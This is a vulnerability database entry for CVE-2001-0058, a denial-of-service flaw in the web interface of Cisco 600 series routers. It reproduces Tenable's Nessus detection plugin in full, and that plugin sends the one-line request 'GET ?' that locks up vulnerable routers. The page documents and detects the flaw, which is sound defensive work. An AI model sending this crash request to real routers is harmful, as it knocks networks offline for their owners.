Vulnerabilities > CVE-2001-0058 - Unspecified vulnerability in Cisco Broadband Operating System and Cisco 6XX Routers

047910
CVSS 5.0 - MEDIUM
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
NONE
Integrity impact
NONE
Availability impact
PARTIAL
network
low complexity
cisco
nessus
NVD
Published: 2001-02-16
Updated: 2017-10-10

Summary

The Web interface to Cisco 600 routers running CBOS 2.4.1 and earlier allow remote attackers to cause a denial of service via a URL that does not end in a space character.

Vulnerable Configurations

Part Description Count
OS
Cisco
3
Hardware
Cisco
1

Nessus

NASL familyCISCO
NASL idCISCO_675_HTTP_DOS.NASL
descriptionIt was possible to lock the remote router by sending the following request : GET ? An attacker may use this flaw to lock this host, thus preventing your network from working properly.
last seen2020-06-01
modified2020-06-02
plugin id10561
published2000-11-29
reporterThis script is Copyright (C) 2000-2018 Tenable Network Security, Inc.
sourcehttps://www.tenable.com/plugins/nessus/10561
titleCisco 600 Series Router HTTP GET DoS (cisco-sa-20001204-cbos)
code
#
# (C) Tenable network Security, Inc.
#
# Script audit and contributions from Carmichael Security
#      Erik Anderson <[email protected]> (nb: this domain no longer exists)
#      Added link to the Bugtraq message archive
#      Could support CVE-2001-0058
#

include("compat.inc");

if(description)
{
 script_id(10561);
 script_version ("1.32");
 script_cvs_date("Date: 2018/11/15 20:50:20");

 script_cve_id("CVE-2001-0058");
 script_xref(name:"CISCO-SA", value:"cisco-sa-20001204-cbos");

 script_name(english:"Cisco 600 Series Router HTTP GET DoS (cisco-sa-20001204-cbos)");
 
 script_set_attribute(attribute:"synopsis", value:
"The remote router is prone to a denial of service attack." );
 script_set_attribute(attribute:"description", value:
"It was possible to lock the remote router by sending the following
request :

  GET ?

An attacker may use this flaw to lock this host, thus preventing your
network from working properly." );
  # https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20001204-cbos
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?5df5b1a5" );
 script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2000/Nov/392" );
 script_set_attribute(attribute:"solution", value:
"Contact CISCO for a fix or add the following rule to your router :

  set web disabled
  write
  reboot" );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:H/Au:N/C:N/I:N/A:C");
 script_set_attribute(attribute:"plugin_publication_date", value: "2000/11/29");
 script_set_attribute(attribute:"vuln_publication_date", value: "2000/11/28");
 script_set_attribute(attribute:"patch_publication_date", value: "2000/12/04");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe",value:"cpe:/o:cisco:broadband_operating_system");
script_end_attributes();

 
 summary["english"] = "Crashes a Cisco router";
 script_summary(english:summary["english"]);
 
 script_category(ACT_DENIAL);
 
 
 script_copyright(english:"This script is Copyright (C) 2000-2018 Tenable Network Security, Inc.");
 family["english"] = "CISCO";
 script_family(english:family["english"]);
 script_require_ports("Services/www", 80);
 script_dependencies("find_service1.nasl", "os_fingerprint.nasl");
 exit(0);
}

#
# The script code starts here
#
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");

os = get_kb_item("Host/OS");
if ( os && "CISCO" >!< os ) exit(0);


port = get_http_port(default:80);
banner = get_http_banner(port:port);
if ( "cisco-IOS" >!< banner ) exit(0);

if (http_is_dead(port:port)) exit(0);

r = http_send_recv_buf(port: port, data: 'GET ? \r\n\r\n');
sleep(1);
if (http_is_dead(port: port)) security_warning(port);

References